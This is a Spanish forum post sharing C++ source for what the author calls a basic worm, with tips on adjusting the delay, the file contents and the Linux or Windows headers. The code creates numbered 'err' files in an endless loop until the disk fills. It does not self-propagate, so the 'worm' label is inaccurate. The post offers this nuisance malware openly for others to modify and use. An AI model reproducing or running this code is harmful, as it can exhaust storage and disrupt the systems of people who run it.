Hola gente, les dejo un pequeño código de un worm básico que hice hace un rato en C++.
Modifíquenlo a su gusto, y cualquier duda, pregunten...
Si usan linux, desactiven la librería windows.h y activen la librería unistd.h, en caso contrario, déjenlo como está.
La variable mls, sirve para que después de cada loop, el worm espere x cantidad de milisegundos; 0 para desactivarlo o pongan otro valor.
La variable txt, es para escribir en cada archivo que creará el worm.
La variable blq, tiene el valor del nombre del archivo a crear.
#include <fstream>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
//#include <unistd.h>
using namespace std;
int main(){
int i = 1;
int dat = 0;
int mls = 125;
char buf[35];
char txt[41] = "err[32030950ab769812b57c164cdab5138e]\n";
while(i != 0){
char blq[44] = "err.";
strcat(blq,itoa(dat,buf,10));
ifstream arch (blq);
if(!arch){
ofstream arch (blq);
arch << txt;
arch.close();
Sleep(mls);
} else {
arch.close();
}
dat++;
}
}